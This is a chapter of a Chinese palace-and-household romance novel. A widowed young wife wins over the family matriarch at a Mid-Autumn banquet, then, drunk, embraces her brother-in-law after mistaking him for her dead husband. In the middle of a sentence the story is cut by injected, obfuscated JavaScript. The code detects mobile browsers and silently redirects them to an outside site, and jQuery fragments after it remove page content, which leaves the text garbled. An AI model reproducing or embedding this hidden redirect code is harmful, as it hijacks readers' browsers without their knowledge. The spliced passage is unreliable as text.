转日,中秋佳节。
老夫人院里的冯嬷嬷特意来交代羲和,各房为谢无愠守丧数月,也算全了心意,今日家宴以团圆为主,不必拘礼,尽可换下重孝赴宴。
羲和挑了身素净的衣裳,早早儿便去翠竹斋候着。
剪檀将打探来的消息一一分说:“老太太卢氏娘家显赫,嫁给先侯爷后,育有二子一女,分别是长房侯爷谢甫谅、二房老爷谢甫修,还有一个嫁入宫中的云妃娘娘。”
“先侯爷走时,老太太才不过二十五,守寡多年,官家御赐了贞节牌坊以示褒奖。”
羲和颔首,走入院中。
冯嬷嬷早得了信儿,候在月洞门边,见她来了,迎上前温和道:“大少奶奶,日头晒,快请进。”
“冯嬷嬷,我嫁来时日短,还不曾正式拜见老夫人,这会儿不知会不会打扰她老人家。”羲和柔声道。
冯嬷嬷引她入内:“大少奶奶的不易之处,老夫人都知道,她盼着您来呢。”
明堂内窗扉半启,竹帘低垂。鎏金狻猊香炉中,沉静檀香袅袅升起,几案上供着时令鲜果,清香交融。雕花窗旁挂了一盏笼,笼内畜了只花绿鹦鹉,活灵活现。
老太太手碾沉香木佛珠,正闭目低诵经文。
她梳着盘桓髻,一丝不乱,发髻根部压一方深色素缎抹额,正中嵌合浦珍珠。除此之外,再无珠宝钗钿,可雍容气度自成一体。
冯嬷嬷正欲上前通传,羲和立刻小声道:“冯嬷嬷,不急,莫扰了老夫人诵经。”
说着,她也轻轻跪至一旁蒲团,阖目轻诵经文。
冯嬷嬷侧耳,竟听得流畅的《往生咒》从她口中低低诵念。
剪檀侍立一旁,轻声道:“少奶奶近来受了惊吓,夜里少眠,总独坐窗边诵经。”
冯嬷嬷一时喟叹。
老太太卢氏缓缓睁眼,柔声道:“好孩子,起来吧。”
羲和却没有起身,反而又朝着老太太磕头道:“老夫人,孙媳这条命,是您救下的。”
老太太摇摇头,叫冯嬷嬷把她扶起了,伺候到一旁软座上。
“你这命,不是我救下的,是无咎那孩子救了你,不是么?”
羲和垂首:“三公子彼时远在扬州,如何知晓孙媳之难。孙媳斗胆猜测,是老夫人提前给三公子递了消息。”
老太太默然不语,端起茶碗轻吹了口,才掀眸道:“你是个聪明人,难怪无愠心系你多年,不惜和他父亲作对也要迎你入门。他没有看错人,可惜啊……”
羲和闻言更对老太太添了几分亲近,二人低低絮语,直到暮色四合。
却说回那谢无咎。
他处理完大理寺公务后,便匆匆赶回侯府,因着时局纷乱,他忙得昏天黑地,浑未注意到今日乃是中秋。
七杀则将管家李如全的尸首扔在马车里,一同带了回来。
行至侯府正门,七杀扛着尸首就要送到永宁侯和柳夫人院里,被谢无咎拦下了。
七杀诧异道:“大人,您怕吓着他们?”
谢无咎说:“天还亮着,夜半再送。”
七杀会意,大人是嫌不够吓人。
“好嘞!那大人,我先把尸首扛车里。”
谢无咎颔首,独自走入后院。
他今日的步伐少见地带了些迟疑,实因他没有想明白,夏常羲此举到底有何目的?
可不论是什么目的,他定要义正辞严地和她声明:仅此一次,下不为例。
他得把她那些旖旎的念头尽早掐断。
终于走到琅環阁,他没有入内,拦住了个洒扫小厮:“去通传。”
小厮稀奇地倒吸口气,丢下扫把跑进小厨房,对着正在捏糕点的织烛慌张道:“织烛姑娘,三公子来、来找大少奶奶。”
织烛手一抖,糕点啪嗒落地。
“知道了,忙你的,三公子那边有我。”她强装镇定地回道。
待小厮走后,织烛立时慌了。
三公子什么时候赴约不好,偏偏是二小姐不在的时候。但这千载难逢的机会,她必须要替小姐把握住!
想到这里,织烛干劲十足,立刻殷勤地躬身小跑出去。
“三公子。”她笑得眉眼弯弯,“我们少奶奶请您进来坐会儿。”
谢无咎既然已来赴约,也不会再多忸怩,颔首随她入内。
他被引入西次间,但见正中一鼎海晏河清鼎,幽幽古檀香燃着,余烟袅袅,却不见置席。
谢无咎掀袍落座,旋即问:“她人呢?”
织烛连忙道:“少奶奶在……在梳妆打扮,您且等等。”
谢无咎皱眉,织烛已热络地端来自己刚做的糕点,“三公子,少奶奶特意给您做的,尝尝吧。”
谢无咎瞥过那精致的糕点,面无表情道:“我不嗜甜。”
织烛丝毫不气馁,“我们少奶奶也是,三公子,可真巧呀。这糕点一点都不甜,您尝尝。”
谢无咎敛眸,只说:“告诉她,见我无需装扮,请她快些。”
织烛红着脸听他说完话,心里无限旖旎,瞧瞧,多贴心呀,多好的姑爷呀。
“奴婢知道了,奴婢这就去催少奶奶。”
她一路小跑,偷偷溜出了琅環阁,直奔翠竹斋。
而翠竹斋里,羲和盼星星盼月亮,也没有等来谢无咎。幸好她担心他爽约,事先并未知会老夫人,否则下了老夫人的脸面,她今日这番讨好就白费功夫了。
老夫人见她心不在焉,以为她认生,特意嘱咐她坐在自己身侧,替她一一引见众人。
宴席上,除却侯府三房的主子们,还有一些旁支的长辈。众人见老太太抬举羲和,也愿意给她几分薄面,纷纷前来敬酒。
羲和喝的虽是桂花酿,但也架不住这么多人一杯一杯地敬,很快便败下阵来。
老太太看她面色酡红,分明已是熏熏然,却仍能礼数周全地应对来人,比起那咋咋呼呼的杨稚蕊不知好了多少,心下又多了几分赞赏。
眼见着再喝便要多了,老太太适时地吩咐冯嬷嬷,先带羲和回去休息。
织烛恰在此时过来,从冯嬷嬷手中接过了羲和。
剪檀扶着羲和,小声道:“少奶奶喝了不少。”
织烛嗅了嗅:“是桂花酿,后劲大。那三公子怎么办?”
“什么三公子?”
织烛压低声音道:“他在屋子里等少奶奶呢。”
剪檀瞪大了眼睛:“他真来了?还在屋子里等?”
“是啊。要赶他走吗?”
剪檀抿唇,看了看半醉的羲和,心里乱麻一团,半晌才做贼心虚地左顾右盼道:“不要。总不能一直叫我们小姐在侯府守活寡,我们要逼她一把。”
“我懂,等下就把下人都支走。”
…
羲和半梦半醒间,被剪檀和织烛扔在了西次间外。
她迷迷糊糊地唤:“不对,不对,这不是睡觉的地方。”
可剪檀和织烛早偷偷遁入阴影。
羲和脑子混沌一片,只觉世界都在眼前旋转跳跃。
她扶着门,踉跄走入。
一入门,便见一道青色的身影端坐在茶桌旁,檀香袅袅,那人循声转过头来看向她。
他身着素色暗纹缎,衣身合度,领口紧扣,一丝不苟,内里中单露出一道极窄的边,沉香色丝织绦带扣在腰间,流苏随着秋风轻轻晃动。
她看不清他的脸。
可是,这里是侯府,是琅環阁,他还能是谁?
他是谢无愠。
太好了,他还活着,他是谢无愠。
羲和的步伐快了许多,她几乎是用跑的,在他反应
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16445818|185099||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
过来之前,踉跄扑入他怀中,喜极而泣:“我就知道,你会回来的。”
谢无咎僵在了原地。
怀中人的鹅黄罗衫广袖扑了他满怀,馥郁的兰香扑鼻而来。
他的双臂就那样始料未及地、莫名其妙地、不成体统地——拥抱着自己的嫂嫂。
她柔软的身子轻而易举地整个陷入他的怀抱,桂花酒气蛮横地侵占了他的呼吸。
半晌不见人,居然是偷偷喝酒壮胆去了?谢无咎脑中轰然,难以置信之余,更觉此情此景荒诞至极。
她似乎很是餍足,双手兀自紧攥着他的前襟,无意识地用力一扯,竟将他交叠的衣领扯松了些许,露出一小片紧实的胸膛肌肤。
她没有意识到自己做了什么,目光失焦地盯着他的胸口喃喃道:“太好了,真是太好了。”
谁让她点评了?谢无咎猛地回神,立刻将她推开,揽衣蔽体。
可她才被拉开寸许,便因醉酒乏力而更紧地依附过来。一番动作下来,两人竟只是从坐着相拥,变成了摇摇晃晃地站立相拥。
七杀进屋时,恰好见到此间情景。
他刚迈进的左脚登时转向,追上后撤的右腿,飞快地溜了出去。
垂花门边,他喘着粗气躲在阴影里,而后听到了另外两道粗气。
“……你们躲多久了?”
织烛看着雕花窗上透出的人影,小声问:“成了?”
七杀欲言又止,最后忍不住说:“成了。”
剪檀感慨:“三公子看着生人勿近,进度也是很快啊。”
七杀百思不得其解:“什么时候看对眼的?实在是令人费解啊。”
织烛思索片刻后道:“不管了,守护吧。”
剪檀阴恻恻地威胁道:“七杀大人,如今我们是一条船上的人了,出去说话都仔细着点。”
七杀“哦”了声,旋即偷笑道:“说实话,我也一直盼着这一天呢,只是没想到来得那么突然。”
西次间内,烛火摇晃,秋风缠绵地打着旋儿。
羲和墨玉般的长发只用一支素银簪子松松绾了个低髻,余发垂落肩背。她微微低着头,侧脸贴在谢无咎胸膛,颤栗着问:“你怎么不说话?”
半晌,谢无咎才哑声开口:“你醉了。”
羲和昂起头来,目不转睛地看向他。
他俊朗的面庞在她眼底化作八十个重影,快速合体,又立刻分离,她头更晕了。
她的手不安分地抬起来,摸上他的脸。
这是眉骨,这是眼睛,这是鼻梁,这是嘴巴。一个不缺,就是谢无愠。
可他的声音听着有点涩哑,羲和说:“你的声音不对。”
她一把摸上他的喉结,指腹上下摩挲着,问:“是扬州很冷吗?把你冻哑了。”
屋内空气滞涩,只余鼎中一缕孤烟笔直向上。
谢无咎再也忍不了,扣上她的腕骨,将她拖离自己的身子。
“——放肆。”
羲和很是委屈,她挣扎着退后几步,不解地歪着头问:“我怎么放肆了?我知道,你是假的,你只是我的梦。那我在梦里也不能放肆么?”
明明他们才是拜过堂成了亲的人,为什么谢无愠要让杨稚蕊怀孕?他对得起阿姊,对得起她么?
谢无咎的心却狠狠一惊。
他与她这才不过第四次相见,她却常在梦里梦到他了?她是什么时候起了这不该有的念头?
思及此处,谢无咎愈发严肃,他冷声道:“看着我。”
羲和不理他,兀自沉浸在自己的情绪里,低头看着自己的脚尖。
谢无咎顺着她的目光走近两步,她却后退。
他又进,她还退。
太犟了!谢无咎扣住她的手腕,将她按在焦尾琴旁,冷冷重复:“看着我,嫂嫂。”